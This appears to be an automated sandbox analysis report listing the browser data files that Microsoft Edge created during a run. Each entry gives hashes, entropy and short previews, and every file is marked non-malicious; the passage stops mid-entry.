C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.235096391458984
Encrypted:	false
SSDEEP:	6:HULe/RR34M1N723oH+Tcwtp3hBtB2KLlVUJw1Iq2PN723oH+Tcwtp3hBWsIFUv:b4saYebp3dFLGJvVaYebp3eFUv
MD5:	3B9CC83577FE52F13618687E9A4FF0F2
SHA1:	AC5D67B7AAAB6024691EFB422C5AA317C97BECFD
SHA-256:	D2C32A0875CEE28FEEC0262B5D5C0D1C9E9852265BA9051B526BF5D5D6F894AB
SHA-512:	4FE75CE14523CA2C739E80B7DFDD3713C6D3CBDF14CF77CC486FC0A9DAC248685836C19C6F3B53FE11FE100AC288D236713EB26FEFDEB5ACCC8D090F8E5CE808
Malicious:	false
Preview:	2024/11/17-18:27:44.522 1e44 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/17-18:27:46.304 1e44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222867683046633
Encrypted:	false
SSDEEP:	24576:IbPMZpVSfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVSfx2mjF
MD5:	08FC9C426E8F0A6EC4D8623F175FC0DE
SHA1:	7670D8694A9B56311D0728A422F0A66300E8A81D
SHA-256:	BF74848D91001B9FCA82E57C765627E8C461AFA71F3B43A3CF1D922DE89F0F2A
SHA-512:	B9B6B1F25A2D640D1BEF5E5B4B2DDD2B698F9DF88EC8DFFD4964E890CCBCE1C39E06E68CFD1AEB2D50BD49A70CC959B44CC650FD679E7D27D08E3E2718DDEA70
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.127614242814515
Encrypted:	false
SSDEEP:	6:HUJ3AQyq2PN723oH+Tcwt9Eh1tIFUt8YUJcGLAG1Zmw+YUJqUCAQRkwON723oH+8:O3AVvVaYeb9Eh16FUt8TcEAG1/+TqrAX
MD5:	418B1F8839C3BD345E27C393C259FD78
SHA1:	9B7F332FAFFC2138B4F16E13297D693D9E26BFAE
SHA-256:	80D54E80EBCE24B1C5B46AAC0023FFA0268B36987B8F7DF406E978B22161FB23
SHA-512:	6571C2BEA61F4F86111A4E0F0A479470C25AD40DAC340053ED17DFDDEB521BAFA4FEFFB2561EA90C9AC7A95269EE649ACFA62DD6AFA12F77BA5865CF7C317425
Malicious:	false
Preview:	2024/11/17-18:27:46.223 20c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-18:27:46.227 20c4 Recovering log #3.2024/11/17-18:27:46.233 20c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.127614242814515
Encrypted:	false
SSDEEP:	6:HUJ3AQyq2PN723oH+Tcwt9Eh1tIFUt8YUJcGLAG1Zmw+YUJqUCAQRkwON723oH+8:O3AVvVaYeb9Eh16FUt8TcEAG1/+TqrAX
MD5:	418B1F8839C3BD345E27C393C259FD78
SHA1:	9B7F332FAFFC2138B4F16E13297D693D9E26BFAE
SHA-256:	80D54E80EBCE24B1C5B46AAC0023FFA0268B36987B8F7DF406E978B22161FB23
SHA-512:	6571C2BEA61F4F86111A4E0F0A479470C25AD40DAC340053ED17DFDDEB521BAFA4FEFFB2561EA90C9AC7A95269EE649ACFA62DD6AFA12F77BA5865CF7C317425
Malicious:	false
Preview:	2024/11/17-18:27:46.223 20c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-18:27:46.227 20c4 Recovering log #3.2024/11/17-18:27:46.233 20c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4624112358706
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuX:TouQq3qh7z3bY2LNW9WMcUvBuX
MD5:	554375FBAF4EEF16974D112174553820
SHA1:	626234A74269E1192A0C9219AB8D1464E4C065CB
SHA-256:	0101A86691181C8ADFE90BC5169EFC5CE00A523BC4A3AAB1CA227EBFF434A21E
SHA-512:	3D2A4BB4115AA1A92D27BCD42A128D73675FCEC52C8EB03CEB845F4E10342B2205765EAE02088023B564AE7FAD53BA71F330CD6DFDDAEE5C3C65B6DF427EF33E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.22499658370917
Encrypted:	false
SSDEEP:	6:HUPyuVq2PN723oH+TcwtnG2tMsIFUt8YUPyugZmw+YUPyuIkwON723oH+TcwtnGg:6vVaYebn9GFUt8Q/+Y5OaYebn95J
MD5:	90FCC2016798A826B0C95B145D735C30
SHA1:	E8A0FC229FF0C1CF89C1DF3399A9FFDA4C18DD0C
SHA-256:	DDF2F969DC8DA3A920E7F2FCA2A69F97D595B0677F8CA48FB6B8E888CFA0050A
SHA-512:	F44F374155970AA624F90CF5B90E5030DE8E00B0D25FFDFC15702184CEF171319D6C6EB4FDF391D336ADB515625F773408D8D1789F27E9D44DADE99B0E07D048
Malicious:	false
Preview:	2024/11/17-18:27:40.895 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-18:27:40.895 1d84 Recovering log #3.2024/11/17-18:27:40.895 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.22499658370917
Encrypted:	false
SSDEEP:	6:HUPyuVq2PN723oH+TcwtnG2tMsIFUt8YUPyugZmw+YUPyuIkwON723oH+TcwtnGg:6vVaYebn9GFUt8Q/+Y5OaYebn95J
MD5:	90FCC2016798A826B0C95B145D735C30
SHA1:	E8A0FC229FF0C1CF89C1DF3399A9FFDA4C18DD0C
SHA-256:	DDF2F969DC8DA3A920E7F2FCA2A69F97D595B0677F8CA48FB6B8E888CFA0050A
SHA-512:	F44F374155970AA624F90CF5B90E5030DE8E00B0D25FFDFC15702184CEF171319D6C6EB4FDF391D336ADB515625F773408D8D1789F27E9D44DADE99B0E07D048
Malicious:	false
Preview:	2024/11/17-18:27:40.895 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-18:27:40.895 1d84 Recovering log #3.2024/11/17-18:27:40.895 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6133525279720511
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWmCNQAXMAle:TLapR+DDNzWjJ0npnyXKUO8+jzAXp/mL
MD5:	86A93B10B28F1C2772EA1AFCBE4EEDEF
SHA1:	2064AC768BADD2396163881E451A6A920463BE90
SHA-256:	6C5A55E56D2A6907523E43DEF0CA4B994EB857E5C2989C389178C46468E6AC70
SHA-512:	867640F92A26E60B41D43DC7E63FF03795F4D59588984D8C1112189C5BB0E74CEF0EE3B875B7AD519B6F2913F1DA40C27B9C745F461C214B742A306A96EB09D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354118724346502
Encrypted:	false
SSDEEP:	6144:dA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:dFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	6E50155EF69504679903655F25A35C50
SHA1:	F3E3FE0B8218CAC369F702CA0B6866177B813937
SHA-256:	11EC47FADAD0CECB2F469AF2417CF5EAA8468D849E188E13BC2EABC74AB5DAC3
SHA-512:	799465FD72ADE660F8F5086394F248E6FE2A20578739D261B86BCC4D17E8869E205D19B69013BEEED011C6A206B6E717737BA07DF1D186A5F759A1FB6F51CA1F
Malicious:	false
Preview:	...m.................DB_VERSION.1..~Hq...............&QUERY_TIMESTAMP:domains_config_gz2...13376359667413581..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.137232938834254
Encrypted:	false
SSDEEP:	6:HUJjXhq1N723oH+Tcwtk2WwnvB2KLlVUJojq2PN723oH+Tcwtk2WwnvIFUv:OjXhaaYebkxwnvFLG4vVaYebkxwnQFUv
MD5:	4C41C4DB974CAE3113B3C797CECF1EAF
SHA1:	98F92A863ACA42078D12BB3DD8A53F3C25EE8A9C
SHA-256:	5DF343994C2BB2E4E68B77865F0A0A21F1A631FBF5EAE08E3FBAC0F54D3B854E
SHA-512:	C56D2D8BC971730FC0A46B6892917E42C87EF5C62F885B44C1DD2CFBEF25C96E15754971AEB31E3C2322FD16150D25BC0F35A9D480BD307A69892CAF74A3C4E6
Malicious:	false
Preview:	2024/11/17-18:27:46.171 20f0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/17-18:27:46.213 20f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.3246118248112655
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R+:C1gAg1zfvm
MD5:	BB42FCC66BEBBFD32BC0EE6061E05EFC
SHA1:	64B0C00F5705CDBF5C920AE4DCE85B379E67FE70
SHA-256:	C15D6E63FF6B6ABDBCB2F1BA333E913F973D316BFCFDC22B4995DF901BBAC09A
SHA-512:	DC997837D85ACFCF23E01956E8620DDB721357D7FCF6CB827CFE6520FBD0ED4D60D3ADFFEF57B3CA5C2850748C8E0317B9FA44DB289A79A809D2EA056E44326C
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161699250815973
Encrypted:	false
SSDEEP:	6:HUPIL+q2PN723oH+Tcwt8aPrqIFUt8YUP4G11Zmw+YUkvtjLVkwON723oH+Tcwtc:VL+vVaYebL3FUt86m/+itjLV5OaYebQJ
MD5:	EB9D5EA934330367004215A80FD52399
SHA1:	5963BAF8F31C52E21E2C28914A1A6922192B96C9
SHA-256:	0B277605D4DB27BF7AF7825C6A5B51AE93CBA6CAABF58599CB73FE592C1116E3
SHA-512:	274B56D12D38972E5D14AFB11074B0B8314F8B90470B83201BC70940040EC179375B45516494199146E7CA1169F3A138B724E3377CD78BF6DED76CF291B99A75
Malicious:	false
Preview:	2024/11/17-18:27:40.995 1c7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-18:27:40.998 1c7c Recovering log #3.2024/11/17-18:27:41.000 1c7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161699250815973
Encrypted:	false
SSDEEP:	6:HUPIL+q2PN723oH+Tcwt8aPrqIFUt8YUP4G11Zmw+YUkvtjLVkwON723oH+Tcwtc:VL+vVaYebL3FUt86m/+itjLV5OaYebQJ
MD5:	EB9D5EA934330367004215A80FD52399
SHA1:	5963BAF8F31C52E21E2C28914A1A6922192B96C9
SHA-256:	0B277605D4DB27BF7AF7825C6A5B51AE93CBA6CAABF58599CB73FE592C1116E3
SHA-512:	274B56D12D38972E5D14AFB11074B0B8314F8B90470B83201BC70940040EC179375B45516494199146E7CA1169F3A138B724E3377CD78BF6DED76CF291B99A75
Malicious:	false
Preview:	2024/11/17-18:27:40.995 1c7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-18:27:40.998 1c7c Recovering log #3.2024/11/17-18:27:41.000 1c7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.116851511437197
Encrypted:	false
SSDEEP:	6:HUkVUoL+q2PN723oH+Tcwt865IFUt8YUkO1Zmw+YUkYLVkwON723oH+Tcwt86+Ud:NL+vVaYeb/WFUt8B/+dLV5OaYeb/+SJ
MD5:	172AA2732926521074653B2FC8996B29
SHA1:	BE9655F9145DE7A2A745C7983A3613F3C6E8E44E
SHA-256:	7A6291AE4BBC2121C967BC7DC874FBAB47D8E24EBB2A1AF2FC8029BF7A48505D
SHA-512:	4AB7190225A6E95E20A709CDA8328AA283C83F333B7CCDE1D546836CAC21720742D33FF031A970DD579E49CB8D6F5478C66C40E61EAB9A385BBD063516FB7EE5
Malicious:	false
Preview:	2024/11/17-18:27:41.002 1c7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-18:27:41.003 1c7c Recovering log #3.2024/11/17-18:27:41.003 1c7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.116851511437197
Encrypted:	false
SSDEEP:	6:HUkVUoL+q2PN723oH+Tcwt865IFUt8YUkO1Zmw+YUkYLVkwON723oH+Tcwt86+Ud:NL+vVaYeb/WFUt8B/+dLV5OaYeb/+SJ
MD5:	172AA2732926521074653B2FC8996B29
SHA1:	BE9655F9145DE7A2A745C7983A3613F3C6E8E44E
SHA-256:	7A6291AE4BBC2121C967BC7DC874FBAB47D8E24EBB2A1AF2FC8029BF7A48505D
SHA-512:	4AB7190225A6E95E20A709CDA8328AA283C83F333B7CCDE1D546836CAC21720742D33FF031A970DD579E49CB8D6F5478C66C40E61EAB9A385BBD063516FB7EE5
Malicious:	false
Preview:	2024/11/17-18:27:41.002 1c7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-18:27:41.003 1c7c Recovering log #3.2024/11/17-18:27:41.003 1c7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161690167977794
Encrypted:	false
